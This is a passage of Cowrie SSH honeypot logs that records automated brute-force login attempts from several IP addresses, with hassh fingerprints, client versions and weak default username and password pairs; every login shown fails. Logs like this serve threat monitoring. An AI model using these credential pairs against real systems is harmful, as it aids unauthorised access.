0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:48:18.736311Z","src_ip":"45.156.87.147","session":"f1ac36679742","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test2","password":"test2","message":"login attempt [test2/test2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:48:18.985791Z","src_ip":"45.156.87.147","session":"f1ac36679742","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:48:18.989169Z","src_ip":"27.71.230.31","session":"5d22d70b66b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:48:20.072261Z","src_ip":"45.156.87.147","session":"f1ac36679742","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123","message":"login attempt [root/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:48:22.928658Z","src_ip":"27.71.230.31","session":"5d22d70b66b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:48:24.308563Z","src_ip":"27.71.230.31","session":"5d22d70b66b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":58780,"dst_ip":"10.17.0.5","dst_port":22,"session":"453b472461b9","protocol":"ssh","message":"New connection: 45.156.87.147:58780 (10.17.0.5:22) [session: 453b472461b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:48:24.648034Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:48:24.655748Z","src_ip":"45.156.87.147","session":"453b472461b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:48:24.731294Z","src_ip":"45.156.87.147","session":"453b472461b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"liyang","password":"123456","message":"login attempt [liyang/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:48:25.058557Z","src_ip":"45.156.87.147","session":"453b472461b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:48:26.142257Z","src_ip":"45.156.87.147","session":"453b472461b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":55024,"dst_ip":"10.17.0.5","dst_port":22,"session":"2bb3f0ce0881","protocol":"ssh","message":"New connection: 45.156.87.147:55024 (10.17.0.5:22) [session: 2bb3f0ce0881]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:48:30.880603Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:48:30.884352Z","src_ip":"45.156.87.147","session":"2bb3f0ce0881","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:48:30.968323Z","src_ip":"45.156.87.147","session":"2bb3f0ce0881","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"avax","password":"avax","message":"login attempt [avax/avax] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:48:31.222567Z","src_ip":"45.156.87.147","session":"2bb3f0ce0881","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:48:32.310353Z","src_ip":"45.156.87.147","session":"2bb3f0ce0881","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.189.235.114","src_port":55700,"dst_ip":"159.203.135.109","dst_port":22,"session":"c2ecd51fada9","protocol":"ssh","message":"New connection: 103.189.235.114:55700 (159.203.135.109:22) [session: c2ecd51fada9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:48:33.587789Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:48:33.591239Z","src_ip":"103.189.235.114","session":"c2ecd51fada9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:48:33.836586Z","src_ip":"103.189.235.114","session":"c2ecd51fada9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webhard","password":"123456","message":"login attempt [webhard/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:48:34.827678Z","src_ip":"103.189.235.114","session":"c2ecd51fada9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.166.242.149","src_port":44770,"dst_ip":"159.203.135.109","dst_port":22,"session":"fd6a6875605a","protocol":"ssh","message":"New connection: 43.166.242.149:44770 (159.203.135.109:22) [session: fd6a6875605a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:48:35.161146Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:48:35.165455Z","src_ip":"43.166.242.149","session":"fd6a6875605a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:48:35.395067Z","src_ip":"43.166.242.149","session":"fd6a6875605a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"opencart","password":"123456","message":"login attempt [opencart/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:48:36.113858Z","src_ip":"43.166.242.149","session":"fd6a6875605a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:48:36.150896Z","src_ip":"103.189.235.114","session":"c2ecd51fada9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":55040,"dst_ip":"10.17.0.5","dst_port":22,"session":"52bc1c2e36c1","protocol":"ssh","message":"New connection: 45.156.87.147:55040 (10.17.0.5:22) [session: 52bc1c2e36c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:48:36.873802Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:48:36.877947Z","src_ip":"45.156.87.147","session":"52bc1c2e36c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:48:36.959549Z","src_ip":"45.156.87.147","session":"52bc1c2e36c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"pi","message":"login attempt [pi/pi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:48:37.209457Z","src_ip":"45.156.87.147","session":"52bc1c2e36c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:48:37.294397Z","src_ip":"43.166.242.149","session":"fd6a6875605a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:48:38.292887Z","src_ip":"45.156.87.147","session":"52bc1c2e36c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":34264,"dst_ip":"10.17.0.5","dst_port":22,"session":"be5051c7d611","protocol":"ssh","message":"New connection: 45.156.87.147:34264 (10.17.0.5:22) [session: be5051c7d611]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:48:42.715766Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:48:42.815109Z","src_ip":"45.156.87.147","session":"be5051c7d611","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:48:42.818451Z","src_ip":"45.156.87.147","session":"be5051c7d611","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"prefect","password":"prefect","message":"login attempt [prefect/prefect] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:48:43.151438Z","src_ip":"45.156.87.147","session":"be5051c7d611","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:48:44.240376Z","src_ip":"45.156.87.147","session":"be5051c7d611","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":34272,"dst_ip":"10.17.0.5","dst_port":22,"session":"5ecbf9951e87","protocol":"ssh","message":"New connection: 45.156.87.147:34272 (10.17.0.5:22) [session: 5ecbf9951e87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:48:48.923241Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:48:48.926230Z","src_ip":"45.156.87.147","session":"5ecbf9951e87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:48:49.008137Z","src_ip":"45.156.87.147","session":"5ecbf9951e87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"password","message":"login attempt [ubuntu/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:48:49.253733Z","src_ip":"45.156.87.147","session":"5ecbf9951e87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:48:50.336513Z","src_ip":"45.156.87.147","session":"5ecbf9951e87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":52886,"dst_ip":"10.17.0.5","dst_port":22,"session":"9f3e7c0ed940","protocol":"ssh","message":"New connection: 45.156.87.147:52886 (10.17.0.5:22) [session: 9f3e7c0ed940]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:48:55.007051Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:48:55.013602Z","src_ip":"45.156.87.147","session":"9f3e7c0ed940","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert